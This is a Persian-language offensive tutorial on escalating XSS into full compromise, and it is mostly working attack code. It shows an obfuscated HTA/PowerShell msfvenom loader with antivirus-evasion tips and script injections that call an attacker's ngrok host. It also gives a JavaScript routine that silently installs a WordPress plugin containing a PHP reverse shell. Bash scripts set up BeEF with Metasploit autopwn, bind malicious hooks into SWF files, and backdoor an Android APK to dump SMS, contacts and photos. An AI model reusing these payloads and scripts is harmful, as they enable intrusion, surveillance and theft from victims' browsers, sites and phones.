<script%00> tlFJlFXYDiqNA=ActiveXObject; TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU="WScript" VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp=TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU + ".Shell" AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV=new tlFJlFXYDiqNA(VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp); var0='aQBmACgAWw';var1=var0+'BJAG4AdABQ';var2=var1+'AHQAcgBdAD';..................;var685=var684+'A7AA=='; AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV.run('%windir%\\System32\\cmd.exe /c'+ 'powershell.exe -nop -w hidden -e ' + var685 , 0);window.close(); </script%00>
همانطور که میبینید کد بالا برای مبهم سازی به گونه ای متفاوت طراحی شده، به این صورت که اسم متغیرها نامفهوم و به صورت رشته ی تصادفی قرار داده شده اند همچنین شلکدی که در بالا از Msfvenom تولید کردیم به صورت تکه تکه درون 600 متغیر ذخیره کردیم، این کار باعث میشود تا Payload در اولین مرحله بررسی شدن توسط مکانیزم ها به دلیل تکه تکه بودن شناسایی نشود، در مرحله دوم همه آن 600 متغیر را درون یک متغیر جمع آوری کرده ایم، این مرحله دوم زمانی اتفاق می افتد که کد بر روی Memory، لیست یا MAP شده است, یعنی یک مرحله از مکانیزم هایی که به صورت Heuristic عملیات های شناسایی و Detect را انجام میدهند دور زده خواهد شد.
در کد بالا ابتدا آبجکت activexobject
ساخته شده و آرگومان ورودی این آبجکت با کمک متغیرها Wscript.Shell
قرار گرفته است. در قسمتی که ………… گذاشته شده، 600 متغیر تعریف میشود که هر متغیر حاوی 10 کارکتر شلکد Base64 شده میباشد، در نهایت تمام 600 متغیر باهم جمع شده و در متغیری به نام var685
ذخیره میشوند. در تابع run
، با استفاده از سوییچ e-
این متغیر به PowerShell شناسانده میشود.
همونطور که میبینید ۳ تا از آنتی ویروس ها Payload را به اشتباه به عنوان Downloader تشخیص داده اند. اگر Payload تولید شده در Msfvenom را Base64 Decode کنید متوجه میشوید که در Payload از IEX استفاده شده است. آنتی ویروس ها به IEX که یک تابع برای دانلود String در PowerShell هست، حساس هستند. خب اگر Payload رو Decode کنید و مقدار IEX رو هم مبهم کنید و بعد دوباره به Base64 تبدیل کنید همین ۳ آنتی ویروس هم دور زده میشوند.
در آخر نیز باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl '<WEBSITE>/comment.php?name=<iframe id="frame" src="http://<NGROK_ID>.ngrok.io/payload.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
کد بالا تگ iframe
ای را تزریق میکند و ویژگی src
این تگ را برابر آدرس فایل payload.hta
در سرور مهاجم قرار میدهد و به این صورت فایل hta
لود و اجرا میشود.
اضافه کردن پلاگین آسیب پذیر در سایت WordPress
این تکنیک نیز همانند تکنیک اضافه کردن ادمین، نیازمند وجود آسیب پذیری CSRF در وبسایت و بازدید ادمین وبسایت از محل آسیب پذیری XSS میباشد تا توسط ادمینی که دسترسی به تمام بخش های سایت دارد، بدون اطلاع خودش، پلاگین مخرب در سایت نصب و اضافه شود. در این تکنیک ما از ابزاری به نام Wordpwn استفاده میکنیم. این ابزار متن باز، یک تولید کننده پلاگین های مخرب WordPress است که به زبان پایتون نوشته شده و از Metasploit Framework برای تولید Payload استفاده میکند. این ابزار به طور خودکار پروسه ایجاد پلاگین مخرب وردپرسی را انجام میدهد و به محض آپلود در سایت هدف با استفاده از msfvenom php/meterpreter/reverse_tcp
دسترسی Reverse Shell به ما میدهد، همچنین یک Handler محلی (Listener) با استفاده از msfconsole exploit/multi/handler
میسازد.
این ابزار بعد از اجرا یک فایل zip
با نام malicious.zip
در دایرکتوری جاری میسازد که این فایل همان پلاگین مخرب ساخته شده وردپرسی است. اگر آپشن Y
را تنظیم کرده باشید handler هم start میشود. بعد از آپلود فایل malicious.zip
، اگر پلاگین با موفقیت نصب و فعال شود، برای اینکه دسترسی Reverse Shell برقرار شود باید به URL های زیر درخواست بزنیم:
http://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php http://vctim.com/wp-content/plugins/malicious/QwertyRocks.php
خب برای خودکار سازی تمام مراحلی که گفته شد با استفاده از آسیب پذیری XSS باید اسکریپتی با نام add_plugin.js
در سروری که Ngrok در آن راه اندازی کرده ایم بسازیم و کد مخرب زیر را در آن قرار دهیم:
while(1>0){ upload=false; if(upload != true){ var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/victim.com\/wp-admin\/update.php?action=upload-plugin", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------23618398915373727791935559256"); xhr.withCredentials = true; var body = "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + "\r\n" + "b354e97ffa\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + "\r\n" + "victim.com/wp-admin/plugin-install.php\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"malicous.zip\"\r\n" + "Content-Type: application/zip\r\n" + "\r\n" + "PK\x03\x04\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00wetw0rk_maybe.php\x3c?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEyNy4wLjAuMSc7ICRwb3J0ID0gNDU0NTsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxl.biIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7)); ?\x3ePK\x03\x04\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00QwertyRocks.php\x3c?php\n" + "/**\n" + " * Plugin Name: GotEm\n" + " * Version: 6.6.8\n" + " * Author: PwnedSauce\n" + " * Author URI: http://PwnedSauce.com\n" + " * License: GPL2\n" + " */\n" + "?\x3e\n" + "PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00wetw0rk_maybe.phpPK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x17\x06\x00\x00QwertyRocks.phpPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00|\x00\x00\x00\xc9\x06\x00\x00\x00\x00\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" + "\r\n" + "Install Now\r\n" + "-----------------------------23618398915373727791935559256--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); if(xhr.status==200){ upload = true; } } // active plugin active_plugin=false; if(active_plugin != true){ var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", "http://victim.com/wp-admin/plugins.php", false); xmlHttp.send(null); var pl_page = xmlHttp.responseText; var dv = document.createElement("div") dv.style.display="none" dv.innerHTML=pl_page; document.body.appendChild(dv); var payload = document.querySelector('[aria-label="Activate GotEm"]'); active_url = payload.href; dv.remove() var xhr = new XMLHttpRequest(); xhr.open("GET",active_url,false); xhr.send(null); if(xhr.status == 200){ active_plugin = true; } } // active backdoor active_backdoor=false; if(active_backdoor != true){ var xhr = new XMLHttpRequest(); xhr.open("GET","https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php",false); xhr.send(null); if(xhr.status == 200){ active_backdoor = true; } } if(upload == true && active_backdoor == true && active_plugin == true){ break; } }
در بخش اول کد بالا که توسط BurpSuite تولید شده با استفاده از XMLHttpRequest
درخواستی به آدرس http://victim.com/wp-admin/update.php?action=upload-plugin
برای آپلود پلاگین مخرب malicous.zip
طراحی میشود. برای مشاهده کد طراحی شده توسط BurpSuite، در قسمت Intercept
درخواست آپلود پلاگین را در BurpSuite، بگیرید و بعد از کلیک راست روی آن، گزینه Engagement tools
را انتخاب کنید و از منوی باز شده روی گزینه Generate CSRF PoC
کلیک کنید. این گزینه همانطور که از نامش مشخص است برای درخواست انتخاب شده با بهره گیری از آسیب پذیری CSRF کد مخربی طراحی میکند.
توجه داشته باشید که نام پلاگین مخرب، در این مثال GotEm میباشد.
در بخش دوم کد یعنی بخش active plugin
، با استفاده از XMLHttpRequest
درخواستی به آدرس http://victim.com/wp-admin/plugins.php
که پلاگین های وردپرس در آنجا قرار دارند ارسال میشود و پاسخ صفحه در متغیر pl_page
ذخیره میشود. سپس تگ div
نامرئی ای ساخته میشود و محتوای innerHTML
آن برابر پاسخ صفحه قرار میگیرد. بعد از آن تگ div
ساخته شده به صفحه اضافه میشود. این کار برای این است که بتوانیم از کد های HTML پاسخ صفحه به دنبال URL ای که باعث فعالسازی پلاگین میشود بگردیم. همانطور که میبینید با استفاده از querySelector
عنصری که حاوی متن "aria-label="Activate GotEm
بود را گرفته ایم و ویژگی href
آن را در متغیر active_url
ذخیره کرده ایم. در آخر نیز درخواستی به URL ذخیره شده در active_url
ارسال میکنیم و پلاگین مخرب را فعال میکنیم.
در بخش سوم کد یعنی بخش active backdoor
، برای فعالسازی و ایجاد دسترسی Reverse Shell توسط Metasploit درخواستی به آدرس https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php
ارسال میکنیم. همانطور که میبینید این سه بخش درون حلقه While که همیشه true است گذاشته شده و اجرای این حلقه تا زمانی که مقادیر متغیرهای upload
، active_backdoor
و active_plugin
هر سه true
نشده اند ادامه پیدا میکند.
در آخر باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/add_plugin.js"></script>'
استفاده از ابزار BeEF
BeEF چیست؟
BeEF که مخفف Browser Exploitation Framework است، یک ابزار برای اکسپلویت حملات سمت کاربر مخصوصا مرورگر است که میتواند یک یا چندین مرورگر را گرفتار کند و از آنها برای اجرای دستورات مستقیم و حملات علیه سیستم قربانی استفاده کند. قبل از شروع مطمعن بشید که سرویس BeEF بدون مشکل start شده و شما میتونید از طریق آدرس http://127.0.0.1:3000/ui/panel
در مرورگر و وارد کردن نام کاربری و رمز عبور beef ، به پنل کنترلی BeEF دسترسی داشته باشید.
همانطور که میبینید در سمت چپ بخشی به نام Hooked Browsers وجود دارد که لیست مرورگر های تحت کنترل و اطلاعات بدست آمده از آنها در این قسمت نمایش داده میشوند. خب حالا برای اینکه مرورگر کاربری رو با استفاده از BeEF گرفتار کنیم، از کد مخرب پیشنهاد شده خود BeEF استفاده میکنیم. این کد در قسمت Command Line این ابزار قرار دارد:
<script src="http://<IP>:3000/hook.js"></script>
همانطور که در تصویر بالا میبینید با انتخاب مرورگر صفحه ای به نام Current Browser باز شده که شامل چندین بخش مانند Details ، Commands و Logs میباشد. در بخش Details اطلاعات بدست آمده از صفحه آسیب پذیر مانند Cookie، اطلاعات بدست آمده از سیستم قربانی مانند سیستم عامل یا اطلاعات بدست آمده از مرورگر قربانی مانند پلاگین های نصب شده و غیره … را مشاهده میکنید. در بخش Logs، لیست کاملی از فعالیت های انجام شده توسط قربانی مانند حرکات ماوس، دابل کلیک و غیره … ضبط و ذخیره میشود.
در بخش Commands به لیستی از ماژول ها و دستوراتی که میتوانند روی سیستم هدف اجرا شوند از جمله ضبط کننده کلید کیبورد، نرم افزار های جاسوسی که میتوانند از وب کم ، میکروفون مرورگر هدف استفاده کنند و غیره … میتوان اشاره کرد.
ابزار BeEF با کمک Metasploit و استفاده از ماژول های آن مانند browser_autopwn
میتواند اکسپلویت های متفاوت و پیچیده ای برروی سیستم قربانی پیاده سازی کند.
اما BeEF به طور پیش فرض با Metasploit Framework ادغام نشده است، برای این کار باید در تنظیمات فایل کانفیگ موجود در مسیر usr/share/beef-xss/config.yaml/
را تغییراتی به صورت زیر ایجاد کرد:
metasploit: enable:true
یک فایل کانفیگ دیگر در مسیر usr/share/beef-xss/extensions/metasploit/config.yaml/
وجود دارد که آن هم باید به صورت زیر تغییر کند:
beef: extension: metasploit: name: 'Metasploit' enable: true host: $LAN callback_host : $LAN
منظور از LAN$
آدرس IP لوکال سیستم مهاجم میباشد.
خب، برای اینکه بتوانیم BeEF را به گونه ای تنظیم کنیم که از شبکه خارجی قابل دسترس باشد، از سرور Ngrok و آدرس DNS ای که در اختیار ما قرار میدهد استفاده میکنیم تا عمل Port Forwarding به پورت 3000 لوکال را انجام دهد، برای این کار نیز باید در فایل کانفیگ usr/share/beef-xss/config.yaml/
دو تغییر زیر را ایجاد کنیم:
public: $NGROK_DNS public_port: "80"
منظور از NGROK_DNS$
آدرس DNS عمومی ای میباشد که Ngrok در اختیار ما قرار داده و ما باید آن را در فایل کانفیگ مشخص کنیم. برای خودکار سازی تغییرات گفته شده و اجرای Metasploit با استفاده از Bash به صورت زیر عمل میکنیم:
service postgresql start;noip2 sleep 10 noip2 -S read -p "Enter NoIP: " noip LAN=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1' | grep -v '169.*' | grep -v '10.*') gnome-terminal --tab -e 'msfconsole -qx "load msgrpc ServerHost='$LAN' Pass=abc123;use auxiliary/server/browser_autopwn2;set LHOST '$noip';set URIPATH /pwn;run -z"' ngrok update;ngrok http 3000 > /dev/null & sleep 10 NGROK_DNS=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ") rm /usr/share/beef-xss/config.yaml;wget -O /usr/share/beef-xss/config.yaml https://raw.githubusercontent.com/beefproject/beef/master/config.yaml;rm /usr/share/beef-xss/extensions/metasploit/config.yaml;wget -O /usr/share/beef-xss/extensions/metasploit/config.yaml https://raw.githubusercontent.com/beefproject/beef/master/extensions/metasploit/config.yaml sed -i '59s/.*/ public: "'$NGROK_DNS'" # public hostname\/IP address/' /usr/share/beef-xss/config.yaml sed -i '60s/.*/ public_port: "80" # public port (experimental)/' /usr/share/beef-xss/config.yaml sed -i '149s/.*/ enable: true/' /usr/share/beef-xss/config.yaml sed -i '165s/.*/ enable: true/' /usr/share/beef-xss/config.yaml sed -i '63s/.*/ hook_file: "\/jQueryCtrl.js"/' /usr/share/beef-xss/config.yaml sed -i '64s/.*/ hook_session_name: "PHPSESSION"/' /usr/share/beef-xss/config.yaml sed -i '9s/.*/ enable: true/' /usr/share/beef-xss/extensions/evasion/config.yaml sed -i '23s/.*/ enable: true/' /usr/share/beef-xss/extensions/metasploit/config.yaml sed -i '25s/.*/ host: "'$LAN'"/' /usr/share/beef-xss/extensions/metasploit/config.yaml sed -i '34s/.*/ callback_host: "'$LAN'"/' /usr/share/beef-xss/extensions/metasploit/config.yaml clear;reset;sleep 5 printf "\n\n" printf "<script src=\"http://"$NGROK_DNS"/jQueryCtrl.js\" type=\"text/javascript\"></script>" printf "\n" printf "<details/open/ontoggle=\"script=document.createElement('script'),script.src='"$NGROK_DNS"/jQueryCtrl.js',document.body.appendChild(script)\">" printf "\n" printf "BeEF Panel -> Commands -> Misc -> Create Invisible Iframe -> URL: http://"$noip":8080/pwn -> Execute" printf "\n\n" cd /usr/share/beef-xss;./beef -x
خط اول دستور read
، آدرس DNS ای که NoIP در اختیار ما قرارا داده را دریافت میکند و در متغیر noip
ذخیره میکند. خط دوم برای بدست آوردن آدرس IP لوکال از دستور ifconfig
استفاده میکند و با استفاده از دستور grep
مقدار عددی آدرس های IP را جدا کرده و آدرس IP هایی که با 169 و 10 شروع میشوند و همچنین آدرس 127.0.0.1
را حذف میکند، در آخر نیز نتیجه را در متغیر LAN$
ذخیره میکند. در خط سوم ماژول Metasploit به نام browser_autopwn2
را با استفاده از Msfconsole اجرا میکنیم و آدرس هاست سرور را برابر متغیر LAN$
ای که پیش تر آن را مقدار دهی کردیم، قرار میدهیم. مقدار URIPATH
را هم مسیر pwn/
تنظیم میکنیم. از این مسیر برای دسترسی به exploit های طراحی شده برای مرورگر استفاده میشود.
در خط پنجم سرویس Ngrok را روی پورت 3000 اجرا میکنیم. در خط هفتم درخواستی به آدرس http://127.0.0.1:4040/api/tunnels
که پنل Ngrok در آن قرار دارد ارسال میکنیم و با استفاده از دستور sed
و Regex تعیین شده مقدار public_url
ای که این سرور به ما اختصاص داده را استخراج کرده و در متغیر NGROK_DNS$
ذخیره میکنیم.
برای تغییر کانفیگ BeEF، ابتدا نیاز داریم که به روز ترین فایل هارا داشته باشیم، از این رو فایل های قبلی موجود در سیستم را حذف میکنیم و با استفاده از دستور wget
بروز ترین فایل های کانفیگ پروژه beef در github را دانلود و ذخیره میکنیم.
در خط ده و یازده با استفاده از دستور sed
خطوطی مورد نظر برای تغییر در فایل را پیدا کرده و مقدار public
را برابر متغیر NGROK_DNS$
و مقدار public_port
را برابر 80 قرار میدهیم، به این صورت توانستیم BeEF را خارج از شبکه محلی قابل دسترس کنیم.
در خط چهارده و پانزده مقدار hook_file
را از hook.js
تغییر داده و برابر jQueryCtrl.js
قرار میدهیم همچنین مقدار hook_session_name
را از BEEFHOOK
به PHPSESSION
تغییر میدهیم. این کار به این دلیل است که بسیاری از مکانیزم های دفاعی طراحی شده تحت وب به دلیل عمومی بودن ابزار BeEF قادر به شناسایی این ابزار هستند و ممکن است با دیدن نام فایل hook.js
یا اسم نشست BEEFHOOK
درخواست هارا بلاک کنند، بنابراین ما به تغییر این اسامی میپردازیم. در سه خط آخر نیز برای فعالسازی Metasploit Framework مقدار enable
را true
کرده و مقادیر host
و callback_host
را برابر متغیر LAN$
قرار میدهیم.
خب، بعد از اتمام تغییر فایل های کانفیگ، دو نمونه Payload که باید در محل آسیب پذیر به XSS تزریق شوند print
میشود. Payload اول تگ script
ای میباشد که مقدار src
آن برابر آدرس jQueryCtrl.js
در سرور Ngrok اختصاص داده شده مهاجم قرار گرفته است. Payload دوم نیز تگ details
است که ویژگی ontoggle
آن برابر کد JavaScript ای ست. این کد نیز با استفاده از createElement
تگ script
ای میسازد و مقدار ویژگی src
آن را همانند Payload قبل برابر آدرس jQueryCtrl.js
در سرور Ngrok اختصاص داده شده مهاجم قرار میگیرد، در آخر با استفاده از appendChild
به صفحه اضافه میشود.
برای استفاده از Metasploit و Exploit های آن در BeEF باید صفحه ی http://"$noip":8080/pwn
را با استفاده از XSS لود کنیم. نحوه انجام این کار در بخش سوم چاپ میشود. به این صورت که در پنل BeEF قسمت Commands و بخش Misc
باید گزینه Create Invisible Iframe
را انتخاب کنیم تا iframe
نامرئی بسازد. و سپس باید مقدار URL آن را برابر http://"$noip":8080/pwn
قرار دهیم و سپس گزینه Execute
را انتخاب کنیم.
در پایان کد بالا beef را در دایرکتوری /usr/share/beef-xss
اجرا میکند.
استفاده از فایل فرمت swf برای تزریق Hook BeEF
در این روش، با استفاده از فایل فرمت swf که به زبان ActionScript نوشته شده فایل flash سالمی را تحویل میگیریم. فایل swf دیگری میسازیم، کد مخرب خود را که به زبان ActionScript نوشته شده و به BeEF متصل میشود را به آن اضافه میکنیم. در آخر نیز دو فایل ایجاد شده را به هم بایند میکنیم و فایل نهایی بایند شده را به عنوان فایل مخرب در Payload های XSS استفاده میکنیم.
read -p "Enter NoIP: " noip printf "Link SWF File for Inject Payload: " read FILE_SWF; if [ $FILE_SWF != " " ]; then service apache2 start ngrok update;ngrok http 3000 > /dev/null & sleep 10 NGROK_DNS=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ") url="$FILE_SWF"; echo "${url##*/}" > /tmp/swf_name.txt;chmod +x /tmp/swf_name.txt;sed -i 's#.swf##g' /tmp/swf_name.txt FILENAME=$(cat /tmp/swf_name.txt) curl "$FILE_SWF" -o /tmp/"$FILENAME".swf swfdump --width --height --rate /tmp/"$FILENAME".swf > /tmp/swf_info.txt;chmod +x /tmp/swf_info.txt wi=$(grep -i "X" /tmp/swf_info.txt | cut -d'X' -f 2 |cut -d ' ' -f 2); hi=$(grep -i "X" /tmp/swf_info.txt | cut -d'Y' -f 2 |cut -d ' ' -f 2); ra=$(grep -i "X" /tmp/swf_info.txt | cut -d'r' -f 2 |cut -d ' ' -f 2); echo -e 'class Dummy{\nfunction Dummy(){\n}\nstatic function main(mc){\n getURL("javascript:function myFunction(){var x = document.createElement(\"SCRIPT\");x.src=\"http://'$NGROK_DNS'/jQueryCtrl.js\";document.body.appendChild(x);};myFunction();");\n}\n}' > /tmp/beef.as mtasc -swf /tmp/"$FILENAME"-as.swf -main -header $wi:$hi:$ra /tmp/beef.as swfcombine -o /var/www/html/"$FILENAME"-b.swf -T /tmp/"$FILENAME".swf /tmp/"$FILENAME"-as.swf rm /tmp/beef.as /tmp/swf_name.txt /tmp/swf_info.txt /tmp/"$FILENAME"-as.swf /tmp/"$FILENAME".swf clear;reset;sleep 5 printf "\n\n" printf "<object type=\"application/x-shockwave-flash\" data=\"http://"$noip"/"$FILENAME"-b.swf\"><param name=\"movie\" value=\"http://"$noip"/"$FILENAME"-b.swf\"/>" printf "\n" printf "BeEF Panel -> Commands -> Misc -> Create Invisible Iframe -> URL: http://"$noip":8080/pwn -> Execute" printf "\n\n" cd /usr/share/beef-xss;./beef -x else printf "Faild Input SWF File."; reset;break fi break
کد بالا ابتدا لینک فایل swf
سالم را دریافت میکند و در متغیر FILE_SWF$
ذخیره میکند، سپس سرویس Ngrok را روی پورت 3000 که پورت رزرو شده ابزار BeEF میباشد، start میکنیم. با استفاده از curl
به آدرس http://127.0.0.1:4040/api/tunnels
که آدرس پنل Ngrok میباشد درخواست زده و با رجکس تایین شده در دستور sed
مقدار public_url
که DNS اختصاص داده شده عمومی میباشد را استخراج کرده و در متغیر NGROK_DNS$
ذخیره میکنیم. (در قسمت قبل نحوه تنظیم کردن Ngrok و Metasploit Framework برای استفاده ی BeEF به طور کامل تشریح شده است).
در ادامه با استفاده از {/*##url}$
قسمت نام فایل را از لینک دریافت شده استخراج میکند و با استفاده از رجکس s#.swf##g
در sed
پسوند swf.
را نیز از آن حذف میکند و در فایل swf_name.txt
ذخیره میکند. در خط بعد درخواست دانلود فایل از لینک دریافت شده با استفاده از curl
ارسال میشود و آن فایل با نامی که پیش تر استخراج کردیم در مسیر tmp/
ذخیره میشود. خب برای اینکه بتوانیم فایل مخربی که ساختیم را با فایل سالم بایند کنیم، فایل مخرب باید مشخصاتی شبیه فایل سالم داشته باشد، بنابراین با استفاده از ابزار swfdump
مشخصات اندازه طول ، عرض و ریت فریم فایل سالم را بدست آورده و در فایل swf_info.txt
ذخیره میکنیم، سپس هر کدام از این اطلاعات را به صورت جدا با استفاده از دستورات grep
و cut
استخراج کرده و در متغیرهای wi
، hi
و ra
ذخیره میکنیم.
در بخش بعدی همانطور که میبینید کد مخربی با زبان ActionScript طراحی شده که در آن کلاس و تابعی با نام Dummy
ساخته میشود، در تابع main
آن در تابع getURL
که برای لود یک صفحه وب از آن استفاده میشود، مفسر :javascript
صدا زده شده است. بعد از آن کد JavaScript ای را میبینید که درون تابعی به نام myFunction
با استفاده از createElement
تگ script
ای ساخته شده و مقدار ویژگی src
آن برابر آدرس Ngrok متصل به BeEF قرار گرفته و با استفاده از appendChild
این تگ به صفحه اضافه شده و در آخر نیز تابع myFunction
فراخوانی شده است. این کد مخرب در فایلی به نام beef.as
ذخیره میشود. در مرحله بعد برای کامپایل کردن فایل beef.as
و تبدیل آن به فایل swf
از دستور mtasc
استفاده کرده ایم که فایل swf
نهایی طبق مشخصات ذخیره شده در متغیر های wi
،hi
و ra
و با نام FILENAME"-as.swf$"
ایجاد میشود. خب، برای بایند کردن یا بهم پیوستن فایل سالم با فایل مخربی که پیش تر ساختیم از دستور swfcombine
استفاده میکنیم و فایل نهایی را با نام FILENAME"-b.swf$"
در مسیر /var/www/html/
در سرور مهاجم ذخیره میکنیم.
در آخر نیز همانند قبل Payload ای که باید در محل آسیب پذیر تزریق شوند print
میشود. در این Payload برای لود فایل swf
از تگ object
استفاده شده که مقدار ویژگی type
آن application/x-shockwave-flash
قرار گرفته و مقدار ویژگی data
برابر آدرس فایل نهایی بایند شده swf
موجود در سرور مهاجم میباشد. مقدار ویژگی value
تگ param
نیز برابر همان آدرس میباشد. برای استفاده از Metasploit و Exploit های آن در BeEF که در بخش قبل نحوه تنظیم کردن آن گفته شد، باید صفحه ی http://"$noip":8080/pwn
را با استفاده از XSS لود کنیم. نحوه انجام این کار در بخش دوم چاپ میشود. به این صورت که در پنل BeEF قسمت Commands و بخش Misc
باید گزینه Create Invisible Iframe
را انتخاب کنیم تا iframe
نامرئی بسازد. و سپس باید مقدار URL آن را برابر http://"$noip":8080/pwn
قرار دهیم و سپس گزینه Execute
را انتخاب کنیم.
در پایان این کد ابزار beef رادر دایرکتوری /usr/share/beef-xss
اجرا میکنیم.
دانلود برنامه Android بدافزار (APK)
در این تکنیک نیز فایل APK سالمی دریافت میکنیم و با استفاده از Msfvenom در Metasploit Framework آن را آلوده میکنیم. هدف این تکنیک این است که قربانی بدون خواست خودش بدافزار موجود در سرور مهاجم را دانلود کند. در آخر نیز Listener ای ایجاد میکنیم تا دسترسی ایجاد شده از موبایل قربانی را تحت کنترل داشته باشیم.
read -p "Enter NoIP: " noip LAN=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1' | grep -v '169.*' | grep -v '10.*') printf "[?] Dir APK File for Bind Payload: " read FILE_APK; if [ $FILE_APK != " " ]; then service apache2 start ngrok update;ngrok http 80 > /dev/null & sleep 10 NGROK_DNS_APK=$(FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"https:\/\/([^"]*).*/\1/p') && echo "$FUZ") echo "$FILE_APK" > /tmp/apk_name.txt;chmod +x /tmp/apk_name.txt;sed -i 's#.apk##g' /tmp/apk_name.txt;sed -e 's/ /_/g' /tmp/apk_name.txt FILENAME=$(cat /tmp/apk_name.txt) echo """sysinfo check_root getwd route geolocate screenshot dump_calllog dump_sms dump_contacts webcam_snap cd ../../../../../ cd /sdcard/DCIM/Camera download -r *""" > /tmp/dump_and.rc msfvenom -x "$FILE_APK" --platform android -a dalvik -p android/meterpreter/reverse_https LHOST="$noip" LPORT=4443 -o /var/www/html/"$FILENAME"-b.apk rm /tmp/apk_name.txt clear;reset;sleep 5 printf "\n\n" printf "<iframe id=\"frame\" 